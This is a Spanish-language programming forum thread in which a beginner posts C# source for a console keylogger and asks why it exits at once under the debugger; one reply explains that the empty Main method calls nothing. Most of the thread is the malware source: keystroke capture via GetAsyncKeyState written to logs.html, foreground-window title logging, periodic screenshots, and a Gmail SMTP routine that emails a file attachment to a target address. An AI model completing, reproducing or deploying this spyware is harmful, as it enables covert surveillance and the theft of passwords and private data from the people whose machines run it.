C# No se depura mi proyecto

Iniciado por Sikandar, Octubre 24, 2018, 04:38:04 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Octubre 24, 2018, 04:38:04 PM Ultima modificación: Octubre 24, 2018, 05:41:23 PM por Gabriela
Hola comunidad de underc0de, soy nuevo en esto de la programacion de C# y ando realizando un proyecto para un KeyLogger de consola, pero al depurarlo en el VS solo se abre por un breve instante la consola y se detiene la depuracion sola y no me ejecuta nada del codigo programado. Sospecho que lo que esta mal es el metodo Main.
Alguien que me ayude por favor   :(

Código: csharp
using System.Runtime.InteropServices;
using System.Drawing.Imaging;
using System.Net.Mail;
using System;
using System.Net;
using System.Windows.Forms;
using System.Text;
using System.Drawing;

class Program
{
    private static void Main(string[] args)
    {}

    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(Keys teclas);
    [DllImport("user32.dll")]
    private static extern short GetAsyncKeyState(Int32 teclas);
    [DllImport("user32.dll")]
    private static extern short GetKeyState(Keys teclas);
    [DllImport("user32.dll")]
    private static extern short GetKeyState(Int32 teclas);
    [DllImport("user32.dll")]
    static extern IntPtr GetForegroundWindow();
    [DllImport("user32.dll")]
    static extern int GetWindowText(IntPtr ventana, StringBuilder
    cadena, int cantidad);

    string nombre1 = "";
    string nombre2 = "";

    public void savefile(string file, string texto)
    {
        try
        {
            System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
            save.Write(texto);
            save.Close();
        }
        catch
        {
            //
        }
    }

    private void timer1_Tick(object sender, EventArgs e)
    {
        for (int num = 0; num <= 255; num++)
        {
            int numcontrol = GetAsyncKeyState(num);
            if (numcontrol == -32767)
            {
                if (num >= 65 && num <= 122)
                    if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) &&
                    Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                    {

                        string letra = Convert.ToChar(num + 32).ToString();
                        savefile("logs.html", letra);
                    }
                    else if
                    (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
                    {

                        string letra = Convert.ToChar(num).ToString();
                        savefile("logs.html", letra);
                    }
                    else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                    {

                        string letra = Convert.ToChar(num).ToString();
                        savefile("logs.html", letra);
                    }
                   
            }
        }
    }

    private void timer2_Tick(object sender, EventArgs e)
    {
        const int limite = 256;
        StringBuilder buffer = new StringBuilder(limite);
        IntPtr manager = GetForegroundWindow();

        if (GetWindowText(manager, buffer, limite) > 0)
        {
            nombre1 = buffer.ToString();
            if (nombre1 != nombre2)
            {
                nombre2 = nombre1;
                savefile("logs.html", "<br>[" + nombre2 + "]<br>");
            }
        }
    }

    public void screenshot(string nombre)
    {
        try
        {
            int wid = Screen.GetBounds(new Point(0, 0)).Width;
            int he = Screen.GetBounds(new Point(0, 0)).Height;
            Bitmap now = new Bitmap(wid, he);
            Graphics grafico = Graphics.FromImage((Image)now);
            grafico.CopyFromScreen(0, 0, 0, 0, new Size(wid, he));
            now.Save(nombre, ImageFormat.Jpeg);
        }
        catch
        {
            //
        }
    }

    private void timer3_Tick(object sender, EventArgs e)
    {
        string fecha = DateTime.Now.ToString("h:mm:ss tt");

        string nombrefinal = fecha.Trim() + ".jpg";

        string final = nombrefinal.Replace("_", "_");
        screenshot(final);
    }

    public void Gmail_Send(string usuario, string password, string
    target, string asunto, string mensaje_texto, string rutaarchivo)
    {
        MailAddress de = new MailAddress(usuario);
        MailAddress a = new MailAddress(target);
        MailMessage mensaje = new MailMessage(de, a);
        mensaje.Subject = asunto;
        mensaje.Body = mensaje_texto;
        Attachment archivo = new Attachment(rutaarchivo);

        mensaje.Attachments.Add(archivo);
        SmtpClient gmailsender = new SmtpClient("smtp.gmail.com", 587);

        gmailsender.UseDefaultCredentials = true;
        gmailsender.EnableSsl = true;
        gmailsender.Credentials = new NetworkCredential("[email protected]", "Contraseña");
        gmailsender.Send(mensaje);
    }


}

Claro tu programa comienza por el main, y lo cierras sin hacer nada.
Fíjate que las llaves del main {} abren y cierran el método sin ninguna acción.
Dentro del main tendrás que llamar a las funciones que declaraste luego, siguiendo la lógica del programa.
De dónde estás sacando todo eso ?

Saludos,